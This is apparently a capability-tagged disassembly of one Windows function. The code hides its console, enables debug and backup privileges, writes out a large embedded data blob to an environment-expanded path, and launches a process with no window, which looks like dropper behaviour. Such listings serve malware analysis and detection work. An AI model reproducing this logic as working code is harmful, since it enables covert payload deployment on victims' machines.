Function at 0x140004150
Capabilities:
Acquire debug privileges
Create process on windows
Query environment variable

Disassembly:
push rdi
mov eax, 0x1780
call fcn.1400110a0
sub rsp, rax
xor eax, eax
cmp eax, 1
je 0x140004540
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [rsp + 0x58], 0x40
mov dword [rsp + 0x5c], 0x40
movsxd rax, dword [rsp + 0x58]
mov qword [rsp + 0x78], rax
lea rcx, [0x140612430]
call fcn.14000c1b0
mov rcx, qword [rsp + 0x78]
mov r8, rcx
lea rdx, [rsp + 0x180]
mov rcx, rax
call fcn.1400040a0
movsxd rax, dword [rsp + 0x5c]
mov qword [rsp + 0x80], rax
lea rcx, [0x140612450]
call fcn.14000c1b0
mov rcx, qword [rsp + 0x80]
mov r8, rcx
lea rdx, [rsp + 0x130]
mov rcx, rax
call fcn.1400040a0
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x3a0]
call fcn.140001e00
mov r8d, 0x5ce200
lea rdx, section..data
lea rcx, [rsp + 0x3a0]
call fcn.140001fa0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov r8d, 1
lea rdx, str.SeBackupPrivilege
mov rcx, qword [rsp + 0x68]
call fcn.140001560
mov r8d, 1
lea rdx, str.SeDebugPrivilege
mov rcx, qword [rsp + 0x68]
call fcn.140001560
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x50]
call fcn.140004550
lea rcx, [rsp + 0xb8]
call fcn.14000c1d0
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [rsp + 0x60], eax
lea rcx, [rsp + 0xb8]
call fcn.14000c1d0
mov ecx, dword [rsp + 0x60]
mov r8d, ecx
lea rdx, [rsp + 0x570]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea r9, [0x1400336ec]
mov r8d, 0x5ce200
lea rdx, [rsp + 0x570]
lea rcx, section..data
call fcn.1400017a0
mov r8d, 0x104
lea rdx, [rsp + 0x460]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x98]
call fcn.140006d40
lea rax, [rsp + 0x51]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x98]
call fcn.14000ef80
mov qword [rsp + 0x88], rax
lea rdx, [rsp + 0x54]
lea rcx, [rsp + 0x51]
call fcn.1400045c0
mov rcx, rax
call fcn.1400087d0
mov r8, 0xffffffffffffffff
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.14000d9a0
inc rax
mov rcx, qword [rsp + 0x88]
mov r9, rcx
mov r8, rax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x98]
call fcn.14000f100
lea rcx, [rsp + 0x54]
call fcn.140007f70
lea rax, [rsp + 0x52]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x52]
call fcn.140004600
mov rcx, rax
call fcn.1400087f0
mov r8d, 0x104
lea rdx, [rsp + 0x290]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea rcx, [rsp + 0xd8]
call fcn.140007fb0
lea rax, [rsp + 0x53]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0xf0]
call fcn.14000c1b0
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x53]
call fcn.1400046a0
mov rcx, rax
call fcn.140008810
lea rcx, [rsp + 0x290]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x290]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x290]
mov r8, rax
mov edx, 0x1000
lea rcx, [rsp + 0x780]
call fcn.14000f890
lea rcx, [rsp + 0x240]
call fcn.140007ff0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x1d0]
call fcn.1400121a0
mov dword [rsp + 0x1d0], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x110]
call fcn.1400121a0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000020
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x780]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x64], 0
lea rcx, [rsp + 0xf0]
call fcn.140007e20
lea rcx, [rsp + 0x98]
call fcn.140007e20
lea rcx, [rsp + 0xb8]
call fcn.140007e50
mov eax, dword [rsp + 0x64]
add rsp, 0x1780
pop rdi
ret